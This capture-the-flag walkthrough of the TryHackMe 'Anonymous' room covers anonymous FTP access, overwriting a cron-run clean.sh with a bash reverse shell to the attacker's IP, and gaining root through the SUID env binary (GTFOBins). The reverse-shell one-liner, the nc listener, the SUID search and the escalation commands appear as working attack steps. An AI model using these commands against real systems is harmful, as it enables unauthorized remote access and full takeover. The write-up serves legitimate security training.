



# Anonymous - THM (Done)

<https://tryhackme.com/r/room/anonymous>

nmap

```
root@kali: ~
File Edit View Search Terminal Help

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111       113           4096 Jun 04 19:26 scripts [NSE: writeable]
e]
| ftp-syst:
| STAT:
FTP server status:
Connected to ::ffff:10.11.4.114
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 2
vsFTPD 3.0.3 - secure, fast, stable
| End of status
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
1 2.0)
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
```

```
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
```

## Login ftp

```
root@kali:~# ftp 10.10.220.27
Connected to 10.10.220.27.
220 NamelessOne's FTP Server!
Name (10.10.220.27:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun  04 19:26 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000         314 Jun  04 19:24 clean.sh
-rw-rw-r--    1 1000     1000        1075 Jun 22 04:19 removed_files.log
-rw-r--r--    1 1000     1000         68 May 12 03:50 to_do.txt
226 Directory send OK.
ftp>
```

## Download all the files

```
ftp> mget * ←
mget clean.sh? yes
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for clean.sh (314 bytes).
226 Transfer complete.
314 bytes received in 0.00 secs (85.4152 kB/s)
mget removed_files.log? yes
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for removed_files.log (1075 bytes).
226 Transfer complete.
1075 bytes received in 0.00 secs (6.2133 MB/s)
mget to_do.txt? yes
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.05 secs (1.3098 kB/s)
```

When you use ftp, it's always great to change to binary because ASCII sometimes have problems.

PROMPT OFF if you don't want any yes or no questions. Actually that is `ftp -i <ip>` to turn off prompts.

<https://community.spiceworks.com/t/how-to-use-ftp-mget-without-prompt/923913/3>

```
binary
ftp -i <ip>
```

```
ftp> binary ←
200 Switching to Binary mode.
ftp> PROMPT OFF ←
```

This is like running every minute with cronjob. We can overwrite this file and replace the file in ftp because we have full access to this file.

```
ftp> ls ←
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx    1 1000      1000          314 Jun  4 19:24 clean.sh
-rw-rw-r--    1 1000      1000        1075 Jun 22 04:19 removed_files.log
-rw-r--r--    1 1000      1000          68 May 12 03:50 to_do.txt
226 Directory send OK.
```

```

root@kali:~# cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/re
moved_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/f
p/scripts/removed_files.log;done
fi
root@kali:~#

```

Use pentest monkey rever shell one liner.

The screenshot shows a web browser window with the URL [pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). The page is titled 'Reverse Shell Cheat Sheet'. The 'Bash' section contains the command `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`, which is highlighted with a red arrow.

The screenshot shows a terminal window on Kali Linux with the command `root@kali:~# nano clean.sh`. The file 'clean.sh' is being edited in the nano text editor. The content of the file is:

```

#!/bin/bash

bash -i >& /dev/tcp/10.11.4.114/7777 0>&1

```

A red arrow points to the command in the file. The terminal window title bar says 'Modified'.

Put that file.

```
root@kali:~# nano clean.sh
root@kali:~# ftp 10.10.220.27
Connected to 10.10.220.27.
220 NamelessOne's FTP Server!
Name (10.10.220.27:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113        4096 Jun  4 19:26 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> put clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
55 bytes sent in 0.00 secs (243.0359 kB/s)
ftp>
```

We got normal user access.

```
root@kali:~# nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.11.4.114] from (UNKNOWN) [10.10.220.27] 51214
bash: cannot set terminal process group (1503): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ whoami
whoami
namelessone
```

No tty present.

```
namelessone@anonymous:~/pics$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified
namelessone@anonymous:~/pics$
```

Use spawning TTY shell script.

The screenshot shows a web browser window with the title "Spawning a TTY Shell". The URL is https://netsec.ws/?p=337. The page content is a guide by Peleus titled "Spawning a TTY Shell". It discusses commands to spawn a TTY shell, mentioning dependencies on system environment and installed packages. A code snippet shows a Python command: "python -c 'import pty; pty.spawn(\"/bin/sh\")'". A red arrow points to this command.

Not working.

The terminal window shows several failed attempts to spawn a TTY shell. It starts with "namelessone@anonymous:~/pics\$ sudo -l", followed by "sudo: no tty present and no askpass program specified". Then, "namelessone@anonymous:~/pics\$ python -c 'import pty; pty.spawn(\"/bin/bash\")'" is run, but it fails with "python -c 'import pty; pty.spawn(\"/bin/bash\")'" and "namelessone@anonymous:~/pics\$ sudo -l". Subsequent attempts to enter a password for sudo also fail, with "Sorry, try again." and two entries for "[sudo] password for namelessone:".

Run this

```
find / -type f -perm -04000 -ls 2>/dev/null
```

The terminal window shows the output of the "find / -type f -perm -04000 -ls 2>/dev/null" command. It lists several files with the permission 04000, including "/proc/kcore", "/dev/mem", and "/dev/mapper".

env stand out

1050325	100	-rwsr-xr-x	1	root	root	100760	Nov 23 2018 /usr/lib/x86_64-linux-gnu/u/lxc/lxc-user-nic
919490	44	-rwsr-xr--	1	root	messagebus	42992	Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
923989	108	-rwsr-sr-x	1	root	root	109432	Oct 30 2019 /usr/lib/snapd/snap-confine
919683	16	-rwsr-xr-x	1	root	root	14328	Mar 27 2019 /usr/lib/polkit-1/polkit-agent-helper-1
919497	12	-rwsr-xr-x	1	root	root	10232	Mar 28 2017 /usr/lib/eject/dmcrypt-gadget-device
919679	428	-rwsr-xr-x	1	root	root	436552	Mar 4 2019 /usr/lib/openssh/ssh-keysign
919144	60	-rwsr-xr-x	1	root	root	59640	Mar 22 2019 /usr/bin/passwd
918992	36	-rwsr-xr-x	1	root	root	35000	Jan 18 2018 /usr/bin/env
919017	76	-rwsr-xr-x	1	root	root	75824	Mar 22 2019 /usr/bin/gpasswd
919128	40	-rwsr-xr-x	1	root	root	37136	Mar 22 2019 /usr/bin/newuidmap
919127	40	-rwsr-xr-x	1	root	root	40344	Mar 22 2019 /usr/bin/newgrp
918924	44	-rwsr-xr-x	1	root	root	44528	Mar 22 2019 /usr/bin/chsh
919126	40	-rwsr-xr-x	1	root	root	37136	Mar 22 2019 /usr/bin/newgidmap
918922	76	-rwsr-xr-x	1	root	root	76496	Mar 22 2019 /usr/bin/chfn
919269	148	-rwsr-xr-x	1	root	root	149080	Jan 31 17:18 /usr/bin/sudo
919305	20	-rwsr-xr-x	1	root	root	18448	Jun 28 2019 /usr/bin/traceroute6.iputils
namelesson@anonymous:~/pics\$							

## Search in GTFO bin

**/ env** Star 2,920

**Shell**

It can be used to break out from restricted environments by spawning an interactive system shell.

`env /bin/sh`

**SUID**

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.

```
sudo sh -c 'cp $(which env) .; chmod +s ./env'
./env /bin/sh -p
```

**Sudo**

## Use full path of env

```
/usr/bin/env /bin/bash -p
```

```
namelessone@anonymous:~/pics$ /usr/bin/env /bin/bash -p ←  
/usr/bin/env /bin/bash -p  
bash-4.4# whoami ←  
whoami  
root  
root←  
bash-4.4#
```

We got root!